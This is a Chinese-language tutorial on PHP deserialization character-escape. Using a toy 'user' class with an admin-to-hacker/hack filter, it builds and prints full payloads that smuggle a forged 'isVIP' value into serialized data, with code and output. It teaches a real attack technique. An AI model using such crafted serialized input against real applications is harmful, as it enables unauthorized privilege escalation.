PHP反序列化字符逃逸的原理
当开发者使用先将对象序列化，然后将对象中的字符进行过滤，
最后再进行反序列化。这个时候就有可能会产生PHP反序列化字符逃逸的漏洞。
详解PHP反序列化字符逃逸
过滤后字符变多
我们先定义一个user类，然后里面一共有3个成员变量：username、password、isVIP。
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}
可以看到当这个类被初始化的时候，isVIP变量默认是0，并且不受初始化传入的参数影响。
<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}
$a = new user("admin","123456");
$a_seri = serialize($a);
echo $a_seri;
?>
输出结果如下：
O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
可以看到，对象序列化之后的isVIP变量是0。
这个时候我们增加一个函数，用于对admin字符进行替换，将admin替换为hacker，替换函数如下：
function filter($s){
return str_replace("admin","hacker",$s);
}
因此整段程序如下：
<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}
function filter($s){
return str_replace("admin","hacker",$s);
}
$a = new user("admin","123456");
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
echo $a_seri_filter;
?>
这一段程序的输出为：
O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
这个时候我们把这两个程序的输出拿出来对比一下：
O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //未过滤
O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //已过滤
可以看到已过滤字符串中的hacker与前面的字符长度不对应了
s:5:"admin";
s:5:"hacker";
在这个时候，对于我们，在新建对象的时候，传入的admin就是我们的可控变量
接下来明确我们的目标：将isVIP变量的值修改为1
首先我们将我们的现有子串和目标子串进行对比：
";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //现有子串
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串
而目标字串就是我们要注入的目标，长度为47
因为我们需要逃逸的字符串长度为47，并且admin每次过滤之后都会变成hacker，也就是说每出现一次admin，就会多1个字符。
因此，我们只需要重复47遍admin，然后加上我们逃逸后的目标字串
adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
代码如下：
$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}','123456');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
echo $a_seri_filter;
程序输出结果为：
O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
此时一共47个hacker共282个字符正好与前面的282相对应。后面的字符完成了逃逸。
此时多余的字符串就会被抛弃。
我们接着将这个序列化结果反序列化，然后将其输出，完整代码如下：
<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}
function filter($s){
return str_replace("admin","hacker",$s);
}
$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}','123456');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
$a_seri_filter_unseri = unserialize($a_seri_filter);
var_dump($a_seri_filter_unseri);
?>
输出结果如下：
object(user)#2 (3) {
["username"]=>
string(282) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker"
["password"]=>
string(6) "123456"
["isVIP"]=>
int(1)
}
可以看到这个时候，isVIP这个变量就变成了1，反序列化字符逃逸的目的也就达到了。
过滤后字符变少
此时把class中的hacker改为hack
完整代码如下:
<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}
function filter($s){
return str_replace("admin","hack",$s);
}
$a = new user('admin','123456');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
echo $a_seri_filter;
?>
输出结果：
O:4:"user":3:{s:8:"username";s:5:"hack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
同样比较一下现有子串和目标子串：
";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //现有子串
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串
因为过滤的时候，将5个字符删减为了4个，所以和上面字符变多的情况相反，随着加入的admin的数量增多，现有子串后面会缩进来。
计算一下目标子串的长度：
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串
//长度为47
再计算一下到下一个可控变量的字符串长度：
";s:8:"password";s:6:"
//长度为22
因为每次过滤的时候都会少1个字符，因此我们先将admin字符重复22遍（这里的22遍不像字符变多的逃逸情况精确，后面可能会需要做调整）
完整代码如下：（这里的变量里一共有22个admin）
$a = new user("adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin",'123456');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
echo $a_seri_filter;
输出结果：
O:4:"user":3:{s:8:"username";s:110:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
注意：
PHP反序列化的机制是，比如如果前面是规定了有10个字符，但是只读到了9个就到了双引号，这个时候PHP会把双引号当做第10个字符，也就是说不根据双引号判断一个字符串是否已经结束，而是根据前面规定的数量来读取字符串。
这里我们需要仔细看一下s后面是110，也就是说我们需要读取到110个字符。从第一个引号开始，110个字符如下：
hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:"
也就是说123456这个地方成为了我们的可控变量，在123456可控变量的位置中添加我们的目标子串
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串
此时的对象为：
$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}');
输出结果为：
O:4:"user":3:{s:8:"username";s:110:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}
仔细观察这一串字符串可以看到
hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"
一共111个字符，但是前面只有显示110
造成这种现象的原因是：替换之前我们目标子串的位置是123456，一共6个字符，替换之后我们的目标子串显然超过10个字符，所以会造成计算得到的payload不准确
解决办法是：多添加1个admin，这样就可以补上缺少的字符。
修改后代码如下：
<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}
function filter($s){
return str_replace("admin","hack",$s);
}
$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
echo $a_seri_filter;
?>
输出结果为：
O:4:"user":3:{s:8:"username";s:115:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}
我们将对象反序列化然后输出，代码如下：
<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}
function filter($s){
return str_replace("admin","hack",$s);
}
$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
$a_seri_filter_unseri = unserialize($a_seri_filter);
var_dump($a_seri_filter_unseri);
?>
输出结果：
object(user)#2 (3) {
["username"]=>
string(115) "hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:""
["password"]=>
string(6) "123456"
["isVIP"]=>
int(1)
}
可以看到，这个时候isVIP的值也为1，也就达到了我们反序列化字符逃逸的目的了
参考文章
